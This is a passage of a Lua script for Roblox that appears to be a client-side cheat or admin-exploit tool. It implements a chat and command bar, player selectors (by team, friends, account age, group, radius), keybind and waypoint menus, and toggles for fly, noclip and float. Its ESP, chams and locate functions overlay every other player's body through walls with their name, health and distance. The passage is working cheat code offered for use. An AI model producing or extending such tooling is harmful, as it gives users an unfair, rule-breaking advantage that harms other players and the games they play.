  4031. local desc = Instance.new("StringValue",newcmd)
  4032. desc.Name = "Desc"
  4033. desc.Value = tooltipDesc
  4034. newcmd.MouseButton1Down:Connect(function()
  4035. if newcmd.Visible and newcmd.TextTransparency == 0 then
  4036. Holder.Cmdbar:CaptureFocus()
  4037. autoComplete(newcmd.Text)
  4038. maximizeHolder()
  4039. end
  4040. end)
  4041. end
  4042. end
  4043.  
  4044. SpecialPlayerCases = {
  4045. ["all"] = function(speaker)return Players:GetPlayers() end,
  4046. ["others"] = function(speaker)
  4047. local plrs = {}
  4048. for i,v in pairs(Players:GetPlayers()) do
  4049. if v ~= speaker then
  4050. table.insert(plrs,v)
  4051. end
  4052. end
  4053. return plrs
  4054. end,
  4055. ["me"] = function(speaker)return {speaker} end,
  4056. ["#(%d+)"] = function(speaker,args,currentList)
  4057. local returns = {}
  4058. local randAmount = tonumber(args[1])
  4059. local players = {unpack(currentList)}
  4060. for i = 1,randAmount do
  4061. if #players == 0 then break end
  4062. local randIndex = math.random(1,#players)
  4063. table.insert(returns,players[randIndex])
  4064. table.remove(players,randIndex)
  4065. end
  4066. return returns
  4067. end,
  4068. ["random"] = function(speaker,args,currentList)
  4069. local players = currentList
  4070. return {players[math.random(1,#players)]}
  4071. end,
  4072. ["%%(.+)"] = function(speaker,args)
  4073. local returns = {}
  4074. local team = args[1]
  4075. for _,plr in pairs(Players:GetPlayers()) do
  4076. if plr.Team and string.sub(string.lower(plr.Team.Name),1,#team) == string.lower(team) then
  4077. table.insert(returns,plr)
  4078. end
  4079. end
  4080. return returns
  4081. end,
  4082. ["allies"] = function(speaker)
  4083. local returns = {}
  4084. local team = speaker.Team
  4085. for _,plr in pairs(Players:GetPlayers()) do
  4086. if plr.Team == team then
  4087. table.insert(returns,plr)
  4088. end
  4089. end
  4090. return returns
  4091. end,
  4092. ["enemies"] = function(speaker)
  4093. local returns = {}
  4094. local team = speaker.Team
  4095. for _,plr in pairs(Players:GetPlayers()) do
  4096. if plr.Team ~= team then
  4097. table.insert(returns,plr)
  4098. end
  4099. end
  4100. return returns
  4101. end,
  4102. ["team"] = function(speaker)
  4103. local returns = {}
  4104. local team = speaker.Team
  4105. for _,plr in pairs(Players:GetPlayers()) do
  4106. if plr.Team == team then
  4107. table.insert(returns,plr)
  4108. end
  4109. end
  4110. return returns
  4111. end,
  4112. ["nonteam"] = function(speaker)
  4113. local returns = {}
  4114. local team = speaker.Team
  4115. for _,plr in pairs(Players:GetPlayers()) do
  4116. if plr.Team ~= team then
  4117. table.insert(returns,plr)
  4118. end
  4119. end
  4120. return returns
  4121. end,
  4122. ["friends"] = function(speaker,args)
  4123. local returns = {}
  4124. for _,plr in pairs(Players:GetPlayers()) do
  4125. if plr:IsFriendsWith(speaker.UserId) and plr ~= speaker then
  4126. table.insert(returns,plr)
  4127. end
  4128. end
  4129. return returns
  4130. end,
  4131. ["nonfriends"] = function(speaker,args)
  4132. local returns = {}
  4133. for _,plr in pairs(Players:GetPlayers()) do
  4134. if not plr:IsFriendsWith(speaker.UserId) and plr ~= speaker then
  4135. table.insert(returns,plr)
  4136. end
  4137. end
  4138. return returns
  4139. end,
  4140. ["guests"] = function(speaker,args)
  4141. local returns = {}
  4142. for _,plr in pairs(Players:GetPlayers()) do
  4143. if plr.Guest then
  4144. table.insert(returns,plr)
  4145. end
  4146. end
  4147. return returns
  4148. end,
  4149. ["bacons"] = function(speaker,args)
  4150. local returns = {}
  4151. for _,plr in pairs(Players:GetPlayers()) do
  4152. if plr.Character:FindFirstChild('Pal Hair') or plr.Character:FindFirstChild('Kate Hair') then
  4153. table.insert(returns,plr)
  4154. end
  4155. end
  4156. return returns
  4157. end,
  4158. ["age(%d+)"] = function(speaker,args)
  4159. local returns = {}
  4160. local age = tonumber(args[1])
  4161. if not age == nil then return end
  4162. for _,plr in pairs(Players:GetPlayers()) do
  4163. if plr.AccountAge <= age then
  4164. table.insert(returns,plr)
  4165. end
  4166. end
  4167. return returns
  4168. end,
  4169. ["nearest"] = function(speaker,args)
  4170. local speakerChar = speaker.Character
  4171. if not speakerChar or not speakerChar:FindFirstChild("HumanoidRootPart") then return end
  4172. local lowest = math.huge
  4173. local NearestPlayer = nil
  4174. for _,plr in pairs(Players:GetPlayers()) do
  4175. if plr ~= speaker and plr.Character then
  4176. local distance = plr:DistanceFromCharacter(speakerChar:FindFirstChild("HumanoidRootPart").Position)
  4177. if distance < lowest then
  4178. lowest = distance
  4179. NearestPlayer = {plr}
  4180. end
  4181. end
  4182. end
  4183. return NearestPlayer
  4184. end,
  4185. ["farthest"] = function(speaker,args)
  4186. local speakerChar = speaker.Character
  4187. if not speakerChar or not speakerChar:FindFirstChild("HumanoidRootPart") then return end
  4188. local highest = math.huge
  4189. local FarthestPlayer = nil
  4190. for _,plr in pairs(Players:GetPlayers()) do
  4191. if plr ~= speaker and plr.Character then
  4192. local distance = plr:DistanceFromCharacter(speakerChar:FindFirstChild("HumanoidRootPart").Position)
  4193. if distance > highest then
  4194. highest = distance
  4195. FarthestPlayer = {plr}
  4196. end
  4197. end
  4198. end
  4199. return FarthestPlayer
  4200. end,
  4201. ["group(%d+)"] = function(speaker,args)
  4202. local returns = {}
  4203. local groupID = tonumber(args[1])
  4204. for _,plr in pairs(Players:GetPlayers()) do
  4205. if plr:IsInGroup(groupID) then
  4206. table.insert(returns,plr)
  4207. end
  4208. end
  4209. return returns
  4210. end,
  4211. ["rad(%d+)"] = function(speaker,args)
  4212. local returns = {}
  4213. local radius = tonumber(args[1])
  4214. local speakerChar = speaker.Character
  4215. if not speakerChar or not speakerChar:FindFirstChild("HumanoidRootPart") then return end
  4216. for _,plr in pairs(Players:GetPlayers()) do
  4217. if plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") then
  4218. local magnitude = (plr.Character:FindFirstChild("HumanoidRootPart").Position-speakerChar.HumanoidRootPart.Position).magnitude
  4219. if magnitude <= radius then table.insert(returns,plr) end
  4220. end
  4221. end
  4222. return returns
  4223. end
  4224. }
  4225.  
  4226. function toTokens(str)
  4227. local tokens = {}
  4228. for op,name in string.gmatch(str,"([+-])([^+-]+)") do
  4229. table.insert(tokens,{Operator = op,Name = name})
  4230. end
  4231. return tokens
  4232. end
  4233.  
  4234. function onlyIncludeInTable(tab,matches)
  4235. local matchTable = {}
  4236. local resultTable = {}
  4237. for i,v in pairs(matches) do matchTable[v.Name] = true end
  4238. for i,v in pairs(tab) do if matchTable[v.Name] then table.insert(resultTable,v) end end
  4239. return resultTable
  4240. end
  4241.  
  4242. function removeTableMatches(tab,matches)
  4243. local matchTable = {}
  4244. local resultTable = {}
  4245. for i,v in pairs(matches) do matchTable[v.Name] = true end
  4246. for i,v in pairs(tab) do if not matchTable[v.Name] then table.insert(resultTable,v) end end
  4247. return resultTable
  4248. end
  4249.  
  4250. function getPlayersByName(name)
  4251. local found = {}
  4252. for i,v in pairs(Players:GetChildren()) do
  4253. if string.sub(string.lower(v.Name),1,#name) == string.lower(name) then
  4254. table.insert(found,v)
  4255. end
  4256. end
  4257. return found
  4258. end
  4259.  
  4260. function getPlayer(list,speaker)
  4261. if list == nil then return {speaker.Name} end
  4262. local nameList = splitString(list,",")
  4263.  
  4264. local foundList = {}
  4265.  
  4266. for _,name in pairs(nameList) do
  4267. if string.sub(name,1,1) ~= "+" and string.sub(name,1,1) ~= "-" then name = "+"..name end
  4268. local tokens = toTokens(name)
  4269. local initialPlayers = Players:GetPlayers()
  4270.  
  4271. for i,v in pairs(tokens) do
  4272. if v.Operator == "+" then
  4273. local tokenContent = v.Name
  4274. local foundCase = false
  4275. for regex,case in pairs(SpecialPlayerCases) do
  4276. local matches = {string.match(tokenContent,"^"..regex.."$")}
  4277. if #matches > 0 then
  4278. foundCase = true
  4279. initialPlayers = onlyIncludeInTable(initialPlayers,case(speaker,matches,initialPlayers))
  4280. end
  4281. end
  4282. if not foundCase then
  4283. initialPlayers = onlyIncludeInTable(initialPlayers,getPlayersByName(tokenContent))
  4284. end
  4285. else
  4286. local tokenContent = v.Name
  4287. local foundCase = false
  4288. for regex,case in pairs(SpecialPlayerCases) do
  4289. local matches = {string.match(tokenContent,"^"..regex.."$")}
  4290. if #matches > 0 then
  4291. foundCase = true
  4292. initialPlayers = removeTableMatches(initialPlayers,case(speaker,matches,initialPlayers))
  4293. end
  4294. end
  4295. if not foundCase then
  4296. initialPlayers = removeTableMatches(initialPlayers,getPlayersByName(tokenContent))
  4297. end
  4298. end
  4299. end
  4300.  
  4301. for i,v in pairs(initialPlayers) do table.insert(foundList,v) end
  4302. end
  4303.  
  4304. local foundNames = {}
  4305. for i,v in pairs(foundList) do table.insert(foundNames,v.Name) end
  4306.  
  4307. return foundNames
  4308. end
  4309.  
  4310. getprfx=function(strn)
  4311. if strn:sub(1,string.len(prefix))==prefix then return{'cmd',string.len(prefix)+1}
  4312. end return
  4313. end
  4314.  
  4315. function do_exec(str, plr)
  4316. str = str:gsub('/e ', '')
  4317. local t = getprfx(str)
  4318. if not t then return end
  4319. str = str:sub(t[2])
  4320. if t[1]=='cmd' then
  4321. execCmd(str, plr)
  4322. IndexContents('',true,false,true)
  4323. if canvasPos ~= nil then
  4324. CMDsF.CanvasPosition = Vector2.new(0, canvasPos)
  4325. canvasTop = false
  4326. end
  4327. end
  4328. end
  4329.  
  4330.  
  4331. Players.LocalPlayer.Chatted:connect(function(message)
  4332. do_exec(message, Players.LocalPlayer)
  4333. end)
  4334.  
  4335. Holder.Cmdbar:GetPropertyChangedSignal("Text"):connect(function()
  4336. if Holder.Cmdbar:IsFocused() then
  4337. IndexContents(Holder.Cmdbar.Text,true,true)
  4338. end
  4339. end)
  4340.  
  4341. tabComplete = nil
  4342. Holder.Cmdbar.FocusLost:connect(function(enterpressed)
  4343. if enterpressed then
  4344. execCmd(Holder.Cmdbar.Text,Players.LocalPlayer)
  4345. end
  4346. if tabComplete then tabComplete:Disconnect() end
  4347. wait()
  4348. if not Holder.Cmdbar:IsFocused() then
  4349. Holder.Cmdbar.Text = "Command Bar"
  4350. IndexContents('',true,false,true)
  4351. if canvasPos ~= nil then
  4352. CMDsF.CanvasPosition = Vector2.new(0, canvasPos)
  4353. canvasTop = false
  4354. end
  4355. if SettingsOpen == true then
  4356. wait(0.2)
  4357. Settings:TweenPosition(UDim2.new(0, 0, 0, 45), "InOut", "Quart", 0.2, true, nil)
  4358. Holder.CMDs.Visible = false
  4359. end
  4360. end
  4361. end)
  4362.  
  4363. Holder.Cmdbar.Focused:Connect(function()
  4364. historyCount = 0
  4365. if SettingsOpen == true then
  4366. wait(0.2)
  4367. Holder.CMDs.Visible = true
  4368. Holder.Settings:TweenPosition(UDim2.new(0, 0, 0, 220), "InOut", "Quart", 0.2, true, nil)
  4369. end
  4370. tabComplete = UserInputService.InputBegan:Connect(function(input,gameProcessed)
  4371. if Holder.Cmdbar:IsFocused() then
  4372. if input.KeyCode == Enum.KeyCode.Tab and topCommand ~= nil then
  4373. autoComplete(topCommand)
  4374. end
  4375. else
  4376. tabComplete:Disconnect()
  4377. end
  4378. end)
  4379. end)
  4380.  
  4381. UserInputService.InputBegan:Connect(function(input)
  4382. if not Holder.Cmdbar:IsFocused() then return end
  4383. if input.KeyCode == Enum.KeyCode.Up then
  4384. historyCount = historyCount + 1
  4385. if historyCount > #cmdHistory then historyCount = #cmdHistory end
  4386. Holder.Cmdbar.Text = cmdHistory[historyCount] or ""
  4387. elseif input.KeyCode == Enum.KeyCode.Down then
  4388. historyCount = historyCount - 1
  4389. if historyCount < 1 then historyCount = 1 end
  4390. Holder.Cmdbar.Text = cmdHistory[historyCount] or ""
  4391. end
  4392. end)
  4393.  
  4394. ESPenabled = false
  4395. CHMSenabled = false
  4396.  
  4397. function round(num, numDecimalPlaces)
  4398. local mult = 10^(numDecimalPlaces or 0)
  4399. return math.floor(num * mult + 0.5) / mult
  4400. end
  4401.  
  4402. function ESP(plr)
  4403. spawn(function()
  4404. for i,v in pairs(PARENT:GetChildren()) do
  4405. if v.Name == plr.Name..'_ESP' then
  4406. v:Destroy()
  4407. end
  4408. end
  4409. wait()
  4410. if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not PARENT:FindFirstChild(plr.Name..'_ESP') then
  4411. local ESPholder = Instance.new("Folder", PARENT)
  4412. ESPholder.Name = plr.Name..'_ESP'
  4413. repeat wait(1) until plr.Character and plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4414. for b,n in pairs (plr.Character:GetChildren()) do
  4415. if (n:IsA("BasePart")) then
  4416. local a = Instance.new("BoxHandleAdornment", ESPholder)
  4417. a.Name = plr.Name
  4418. a.Adornee = n
  4419. a.AlwaysOnTop = true
  4420. a.ZIndex = 0
  4421. a.Size = n.Size
  4422. a.Transparency = 0.3
  4423. a.Color = plr.TeamColor
  4424. end
  4425. end
  4426. if plr.Character and plr.Character:FindFirstChild('Head') then
  4427. local BillboardGui = Instance.new("BillboardGui", ESPholder)
  4428. local TextLabel = Instance.new("TextLabel")
  4429. BillboardGui.Adornee = plr.Character.Head
  4430. BillboardGui.Name = plr.Name
  4431. BillboardGui.Size = UDim2.new(0, 100, 0, 150)
  4432. BillboardGui.StudsOffset = Vector3.new(0, 1, 0)
  4433. BillboardGui.AlwaysOnTop = true
  4434. TextLabel.Parent = BillboardGui
  4435. TextLabel.BackgroundTransparency = 1
  4436. TextLabel.Position = UDim2.new(0, 0, 0, -50)
  4437. TextLabel.Size = UDim2.new(0, 100, 0, 100)
  4438. TextLabel.Font = Enum.Font.SourceSansSemibold
  4439. TextLabel.TextSize = 20
  4440. TextLabel.TextColor3 = Color3.new(1, 1, 1)
  4441. TextLabel.TextStrokeTransparency = 0
  4442. TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
  4443. local espLoopFunc
  4444. plr.CharacterAdded:Connect(function()
  4445. if ESPenabled then
  4446. espLoopFunc:Disconnect()
  4447. ESPholder:Destroy()
  4448. repeat wait(1) until plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4449. ESP(plr)
  4450. end
  4451. end)
  4452. local function espLoop()
  4453. if PARENT:FindFirstChild(plr.Name..'_ESP') then
  4454. if plr.Character and plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid') then
  4455. local pos = math.floor((Players.LocalPlayer.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude)
  4456. TextLabel.Text = 'Name: '..plr.Name..' | Health: '..round(plr.Character:FindFirstChildOfClass('Humanoid').Health, 1)..' | Studs: '..pos
  4457. end
  4458. else
  4459. espLoopFunc:Disconnect()
  4460. end
  4461. end
  4462. espLoopFunc = game:GetService("RunService").RenderStepped:Connect(espLoop)
  4463. end
  4464. end
  4465. end)
  4466. end
  4467.  
  4468. function CHMS(plr)
  4469. spawn(function()
  4470. for i,v in pairs(PARENT:GetChildren()) do
  4471. if v.Name == plr.Name..'_CHMS' then
  4472. v:Destroy()
  4473. end
  4474. end
  4475. wait()
  4476. if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not PARENT:FindFirstChild(plr.Name..'_CHMS') then
  4477. local ESPholder = Instance.new("Folder", PARENT)
  4478. ESPholder.Name = plr.Name..'_CHMS'
  4479. repeat wait(1) until plr.Character and plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4480. for b,n in pairs (plr.Character:GetChildren()) do
  4481. if (n:IsA("BasePart")) then
  4482. local a = Instance.new("BoxHandleAdornment", ESPholder)
  4483. a.Name = plr.Name
  4484. a.Adornee = n
  4485. a.AlwaysOnTop = true
  4486. a.ZIndex = 0
  4487. a.Size = n.Size
  4488. a.Transparency = 0.3
  4489. a.Color = plr.TeamColor
  4490. end
  4491. end
  4492. plr.CharacterAdded:Connect(function()
  4493. if CHMSenabled then
  4494. ESPholder:Destroy()
  4495. repeat wait(1) until plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4496. CHMS(plr)
  4497. end
  4498. end)
  4499. end
  4500. end)
  4501. end
  4502.  
  4503. function Locate(plr)
  4504. spawn(function()
  4505. for i,v in pairs(PARENT:GetChildren()) do
  4506. if v.Name == plr.Name..'_LC' then
  4507. v:Destroy()
  4508. end
  4509. end
  4510. wait()
  4511. if plr.Character and plr.Name ~= Players.LocalPlayer.Name and not PARENT:FindFirstChild(plr.Name..'_LC') then
  4512. local ESPholder = Instance.new("Folder", PARENT)
  4513. ESPholder.Name = plr.Name..'_LC'
  4514. repeat wait(1) until plr.Character and plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4515. for b,n in pairs (plr.Character:GetChildren()) do
  4516. if (n:IsA("BasePart")) then
  4517. local a = Instance.new("BoxHandleAdornment", ESPholder)
  4518. a.Name = plr.Name
  4519. a.Adornee = n
  4520. a.AlwaysOnTop = true
  4521. a.ZIndex = 0
  4522. a.Size = n.Size
  4523. a.Transparency = 0.3
  4524. a.Color = plr.TeamColor
  4525. end
  4526. end
  4527. if plr.Character and plr.Character:FindFirstChild('Head') then
  4528. local BillboardGui = Instance.new("BillboardGui", ESPholder)
  4529. local TextLabel = Instance.new("TextLabel")
  4530. BillboardGui.Adornee = plr.Character.Head
  4531. BillboardGui.Name = plr.Name
  4532. BillboardGui.Size = UDim2.new(0, 100, 0, 150)
  4533. BillboardGui.StudsOffset = Vector3.new(0, 1, 0)
  4534. BillboardGui.AlwaysOnTop = true
  4535. TextLabel.Parent = BillboardGui
  4536. TextLabel.BackgroundTransparency = 1
  4537. TextLabel.Position = UDim2.new(0, 0, 0, -50)
  4538. TextLabel.Size = UDim2.new(0, 100, 0, 100)
  4539. TextLabel.Font = Enum.Font.SourceSansSemibold
  4540. TextLabel.TextSize = 20
  4541. TextLabel.TextColor3 = Color3.new(1, 1, 1)
  4542. TextLabel.TextStrokeTransparency = 0
  4543. TextLabel.TextYAlignment = Enum.TextYAlignment.Bottom
  4544. local lcLoopFunc
  4545. plr.CharacterAdded:Connect(function()
  4546. if ESPholder ~= nil and ESPholder.Parent ~= nil then
  4547. lcLoopFunc:Disconnect()
  4548. ESPholder:Destroy()
  4549. repeat wait(1) until plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid')
  4550. Locate(plr)
  4551. end
  4552. end)
  4553. local function lcLoop()
  4554. if PARENT:FindFirstChild(plr.Name..'_LC') then
  4555. if plr.Character and plr.Character:FindFirstChild('HumanoidRootPart') and plr.Character:FindFirstChild('Humanoid') then
  4556. local pos = math.floor((Players.LocalPlayer.Character.HumanoidRootPart.Position - plr.Character.HumanoidRootPart.Position).magnitude)
  4557. TextLabel.Text = 'Name: '..plr.Name..' | Health: '..round(plr.Character:FindFirstChildOfClass('Humanoid').Health, 1)..' | Studs: '..pos
  4558. end
  4559. else
  4560. lcLoopFunc:Disconnect()
  4561. end
  4562. end
  4563. lcLoopFunc = game:GetService("RunService").RenderStepped:Connect(lcLoop)
  4564. end
  4565. end
  4566. end)
  4567. end
  4568.  
  4569. bindsGUI = KeybindEditor
  4570. awaitingInput = false
  4571. keySelected = false
  4572.  
  4573. function unkeybind(cmd,key)
  4574. for i = #binds,1,-1 do
  4575. if binds[i].COMMAND == cmd and binds[i].KEY == key then
  4576. table.remove(binds, i)
  4577. end
  4578. end
  4579. refreshbinds()
  4580. updatesaves()
  4581. if key == 'RightClick' or key == 'LeftClick' then
  4582. notify('Keybinds Updated','Unbinded '..key..' from '..cmd)
  4583. else
  4584. notify('Keybinds Updated','Unbinded '..key:sub(14)..' from '..cmd)
  4585. end
  4586. end
  4587.  
  4588. function refreshbinds()
  4589. if Holder_2 then
  4590. Holder_2:ClearAllChildren()
  4591. Holder_2.CanvasSize = UDim2.new(0, 0, 0, 10)
  4592. for i = 1, #binds do
  4593. local YSize = 25
  4594. local Position = ((i * YSize) - YSize)
  4595. local newbind = Example_2:Clone()
  4596. newbind.Parent = Holder_2
  4597. newbind.Visible = true
  4598. newbind.Position = UDim2.new(0,0,0, Position + 5)
  4599. table.insert(shade2,newbind)
  4600. table.insert(shade2,newbind.Text)
  4601. table.insert(text1,newbind.Text)
  4602. table.insert(shade3,newbind.Text.Delete)
  4603. table.insert(text2,newbind.Text.Delete)
  4604. local input = tostring(binds[i].KEY)
  4605. local key
  4606. if input == 'RightClick' or input == 'LeftClick' then
  4607. key = input
  4608. else
  4609. key = input:sub(14)
  4610. end
  4611. newbind.Text.Text = key.." > "..binds[i].COMMAND
  4612. Holder_2.CanvasSize = UDim2.new(0,0,0, Position + 30)
  4613. newbind.Text.Delete.MouseButton1Click:Connect(function()
  4614. unkeybind(binds[i].COMMAND,binds[i].KEY)
  4615. end)
  4616. end
  4617. end
  4618. end
  4619.  
  4620. refreshbinds()
  4621.  
  4622. PositionsFrame.Delete.MouseButton1Click:Connect(function()
  4623. execCmd('cpos')
  4624. end)
  4625.  
  4626. function refreshwaypoints()
  4627. if #WayPoints > 0 or #pWayPoints > 0 then
  4628. PositionsHint:Destroy()
  4629. end
  4630. if Holder_4 then
  4631. Holder_4:ClearAllChildren()
  4632. Holder_4.CanvasSize = UDim2.new(0, 0, 0, 10)
  4633. local YSize = 25
  4634. local num = 1
  4635. for i = 1, #WayPoints do
  4636. local Position = ((num * YSize) - YSize)
  4637. local newpoint = Example_4:Clone()
  4638. newpoint.Parent = Holder_4
  4639. newpoint.Visible = true
  4640. newpoint.Position = UDim2.new(0,0,0, Position + 5)
  4641. newpoint.Text.Text = WayPoints[i].NAME
  4642. table.insert(shade2,newpoint)
  4643. table.insert(shade2,newpoint.Text)
  4644. table.insert(text1,newpoint.Text)
  4645. table.insert(shade3,newpoint.Text.Delete)
  4646. table.insert(text2,newpoint.Text.Delete)
  4647. table.insert(shade3,newpoint.Text.TP)
  4648. table.insert(text2,newpoint.Text.TP)
  4649. Holder_4.CanvasSize = UDim2.new(0,0,0, Position + 30)
  4650. newpoint.Text.Delete.MouseButton1Click:Connect(function()
  4651. execCmd('dpos '..WayPoints[i].NAME)
  4652. end)
  4653. newpoint.Text.TP.MouseButton1Click:Connect(function()
  4654. execCmd("loadpos "..WayPoints[i].NAME)
  4655. end)
  4656. num = num+1
  4657. end
  4658. for i = 1, #pWayPoints do
  4659. local Position = ((num * YSize) - YSize)
  4660. local newpoint = Example_4:Clone()
  4661. newpoint.Parent = Holder_4
  4662. newpoint.Visible = true
  4663. newpoint.Position = UDim2.new(0,0,0, Position + 5)
  4664. newpoint.Text.Text = pWayPoints[i].NAME
  4665. table.insert(shade2,newpoint)
  4666. table.insert(shade2,newpoint.Text)
  4667. table.insert(text1,newpoint.Text)
  4668. table.insert(shade3,newpoint.Text.Delete)
  4669. table.insert(text2,newpoint.Text.Delete)
  4670. table.insert(shade3,newpoint.Text.TP)
  4671. table.insert(text2,newpoint.Text.TP)
  4672. Holder_4.CanvasSize = UDim2.new(0,0,0, Position + 30)
  4673. newpoint.Text.Delete.MouseButton1Click:Connect(function()
  4674. execCmd('dpos '..pWayPoints[i].NAME)
  4675. end)
  4676. newpoint.Text.TP.MouseButton1Click:Connect(function()
  4677. execCmd("loadpos "..pWayPoints[i].NAME)
  4678. end)
  4679. num = num+1
  4680. end
  4681. end
  4682. end
  4683.  
  4684. refreshwaypoints()
  4685.  
  4686. function removeSpawnC(cmd,Delay)
  4687. for i = #spawnCmds,1,-1 do
  4688. if spawnCmds[i].COMMAND == cmd and spawnCmds[i].DELAY == Delay then
  4689. table.remove(spawnCmds, i)
  4690. end
  4691. end
  4692. refreshSpawnC()
  4693. updatesaves()
  4694. notify('Spawn Commands Updated','Removed "'..cmd..'" from spawn commands')
  4695. end
  4696.  
  4697. function refreshSpawnC()
  4698. if Holder_6 then
  4699. Holder_6:ClearAllChildren()
  4700. Holder_6.CanvasSize = UDim2.new(0, 0, 0, 10)
  4701. for i = 1, #spawnCmds do
  4702. local YSize = 25
  4703. local Position = ((i * YSize) - YSize)
  4704. local newspawn = Example_2:Clone()
  4705. newspawn.Parent = Holder_6
  4706. newspawn.Visible = true
  4707. newspawn.Position = UDim2.new(0,0,0, Position + 5)
  4708. table.insert(shade2,newspawn)
  4709. table.insert(shade2,newspawn.Text)
  4710. table.insert(text1,newspawn.Text)
  4711. table.insert(shade3,newspawn.Text.Delete)
  4712. table.insert(text2,newspawn.Text.Delete)
  4713. if spawnCmds[i].DELAY == 0 or spawnCmds[i].DELAY == '0' then
  4714. newspawn.Text.Text = spawnCmds[i].COMMAND
  4715. else
  4716. newspawn.Text.Text = spawnCmds[i].COMMAND..' (Delay '..spawnCmds[i].DELAY..')'
  4717. end
  4718. Holder_6.CanvasSize = UDim2.new(0,0,0, Position + 30)
  4719. newspawn.Text.Delete.MouseButton1Click:Connect(function()
  4720. removeSpawnC(spawnCmds[i].COMMAND,spawnCmds[i].DELAY)
  4721. refreshSpawnC()
  4722. end)
  4723. end
  4724. end
  4725. end
  4726.  
  4727. refreshSpawnC()
  4728.  
  4729. function refreshaliases()
  4730. if #aliases > 0 then
  4731. AliasHint:Destroy()
  4732. end
  4733. if Holder_3 then
  4734. Holder_3:ClearAllChildren()
  4735. Holder_3.CanvasSize = UDim2.new(0, 0, 0, 10)
  4736. for i = 1, #aliases do
  4737. local YSize = 25
  4738. local Position = ((i * YSize) - YSize)
  4739. local newalias = Example_3:Clone()
  4740. newalias.Parent = Holder_3
  4741. newalias.Visible = true
  4742. newalias.Position = UDim2.new(0,0,0, Position + 5)
  4743. newalias.Text.Text = aliases[i].CMD.." > "..aliases[i].ALIAS
  4744. table.insert(shade2,newalias)
  4745. table.insert(shade2,newalias.Text)
  4746. table.insert(text1,newalias.Text)
  4747. table.insert(shade3,newalias.Text.Delete)
  4748. table.insert(text2,newalias.Text.Delete)
  4749. Holder_3.CanvasSize = UDim2.new(0,0,0, Position + 30)
  4750. newalias.Text.Delete.MouseButton1Click:Connect(function()
  4751. execCmd('removealias '..aliases[i].ALIAS)
  4752. end)
  4753. end
  4754. end
  4755. end
  4756.  
  4757. BindTo.MouseButton1Click:Connect(function()
  4758. awaitingInput = true
  4759. BindTo.Text = 'Press something'
  4760. end)
  4761.  
  4762. Add_2.MouseButton1Click:Connect(function()
  4763. if keySelected then
  4764. if string.find(Cmdbar_2.Text, "\\\\") then
  4765. notify('Keybind Error','Only use one backslash to keybind multiple commands into one keybind or command')
  4766. else
  4767. addbind(Cmdbar_2.Text,keyPressed)
  4768. refreshbinds()
  4769. updatesaves()
  4770. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4771. notify('Keybinds Updated','Binded '..keyPressed..' to '..Cmdbar_2.Text)
  4772. else
  4773. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to '..Cmdbar_2.Text)
  4774. end
  4775. end
  4776. end
  4777. end)
  4778.  
  4779. Exit_2.MouseButton1Click:Connect(function()
  4780. Cmdbar_2.Text = 'Command'
  4781. BindTo.Text = 'Click to bind'
  4782. keySelected = false
  4783. KeybindEditor:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
  4784. end)
  4785.  
  4786. function onInputBegan(input,gameProcessed)
  4787. if awaitingInput then
  4788. if input.UserInputType == Enum.UserInputType.Keyboard then
  4789. keyPressed = tostring(input.KeyCode)
  4790. BindTo.Text = keyPressed:sub(14)
  4791. elseif input.UserInputType == Enum.UserInputType.MouseButton1 then
  4792. keyPressed = 'LeftClick'
  4793. BindTo.Text = 'LeftClick'
  4794. elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
  4795. keyPressed = 'RightClick'
  4796. BindTo.Text = 'RightClick'
  4797. end
  4798. awaitingInput = false
  4799. keySelected = true
  4800. end
  4801. if not gameProcessed and #binds > 0 then
  4802. for i,v in pairs(binds)do
  4803. if input.UserInputType == Enum.UserInputType.Keyboard and v.KEY:lower()==tostring(input.KeyCode):lower() then
  4804. execCmd(v.COMMAND,Players.LocalPlayer)
  4805. elseif input.UserInputType == Enum.UserInputType.MouseButton1 and v.KEY:lower()=='leftclick' then
  4806. execCmd(v.COMMAND,Players.LocalPlayer)
  4807. elseif input.UserInputType == Enum.UserInputType.MouseButton2 and v.KEY:lower()=='rightclick' then
  4808. execCmd(v.COMMAND,Players.LocalPlayer)
  4809. end
  4810. end
  4811. end
  4812. end
  4813.  
  4814. UserInputService.InputBegan:connect(onInputBegan)
  4815.  
  4816. Fly.Select.MouseButton1Click:Connect(function()
  4817. if keySelected then
  4818. addbind('togglefly',keyPressed)
  4819. refreshbinds()
  4820. updatesaves()
  4821. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4822. notify('Keybinds Updated','Binded '..keyPressed..' to toggle fly')
  4823. else
  4824. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle fly')
  4825. end
  4826. end
  4827. end)
  4828.  
  4829. Noclip.Select.MouseButton1Click:Connect(function()
  4830. if keySelected then
  4831. addbind('togglenoclip',keyPressed)
  4832. refreshbinds()
  4833. updatesaves()
  4834. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4835. notify('Keybinds Updated','Binded '..keyPressed..' to toggle noclip')
  4836. else
  4837. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle noclip')
  4838. end
  4839. end
  4840. end)
  4841.  
  4842. Float.Select.MouseButton1Click:Connect(function()
  4843. if keySelected then
  4844. addbind('togglefloat',keyPressed)
  4845. refreshbinds()
  4846. updatesaves()
  4847. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4848. notify('Keybinds Updated','Binded '..keyPressed..' to toggle float')
  4849. else
  4850. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle float')
  4851. end
  4852. end
  4853. end)
  4854.  
